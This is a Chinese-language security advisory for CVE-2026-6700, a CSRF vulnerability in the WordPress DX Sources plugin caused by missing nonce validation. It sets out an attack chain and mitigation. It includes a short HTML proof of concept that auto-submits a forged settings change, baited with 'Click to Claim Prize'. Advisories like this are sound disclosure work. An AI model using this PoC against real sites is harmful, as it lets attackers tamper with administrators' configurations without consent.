CVE-2026-6700 CVSS 4.3 中危

CVE-2026-6700 WordPress DX Sources插件CSRF漏洞

披露日期: 2026-05-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6700

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WordPress DX Sources Plugin

漏洞概述

WordPress的DX Sources插件在所有版本（包括2.0.1）中存在跨站请求伪造（CSRF）漏洞。由于`settings_page_build`函数缺少或错误的nonce验证，未认证攻击者可诱导已登录的管理员点击恶意链接，从而在未经授权的情况下修改插件的配置选项。该漏洞可能导致网站功能异常或配置被恶意篡改。

技术细节

漏洞根源在于WordPress插件DX Sources的`settings_page_build`函数未正确实施安全验证机制。在WordPress开发中，nonce是防止CSRF攻击的关键手段，用于验证请求来源的合法性。由于该插件在处理设置保存请求时未对nonce进行有效校验，攻击者可以利用这一缺陷构造恶意的HTML页面或URL。当拥有管理员权限的用户无意中访问攻击者构造的页面时，浏览器会自动携带用户的会话Cookie向服务器发送修改配置的POST请求。由于服务器端缺少验证，误以为这是管理员本人的合法操作，从而执行了配置修改，破坏了系统的完整性。攻击者无需认证即可利用此漏洞，但需要一定的社会工程学手段诱导管理员交互。

攻击链分析

STEP 1

1. 构造恶意请求

攻击者分析插件表单结构，构造包含恶意配置参数的HTML页面或URL，指向插件设置保存接口。

STEP 2

2. 社会工程学诱导

攻击者通过钓鱼邮件或即时通讯工具，将恶意链接发送给目标网站的管理员，诱导其点击。

STEP 3

3. 触发伪造请求

管理员在已登录状态下点击链接，浏览器自动携带管理员Cookie向服务器发送POST请求。

STEP 4

4. 执行未授权操作

服务器接收到请求，由于缺少nonce验证，误认为是管理员的合法操作，执行插件配置修改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-6700 -->
<!-- Host this file and send the link to a logged-in administrator -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=dx-sources-settings" method="POST">
      <input type="hidden" name="setting_option" value="attacker_controlled_value" />
      <input type="submit" value="Click to Claim Prize" />
    </form>
    <script>
      // Auto-submit the form to minimize user interaction awareness
      document.forms[0].submit();
    </script>
  </body>
</html>

影响范围

WordPress DX Sources Plugin <= 2.0.1

防御指南

临时缓解措施

建议暂时禁用DX Sources插件直到官方发布更新。管理员应避免点击不明来源的链接，并在进行敏感操作后检查插件配置是否被篡改。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表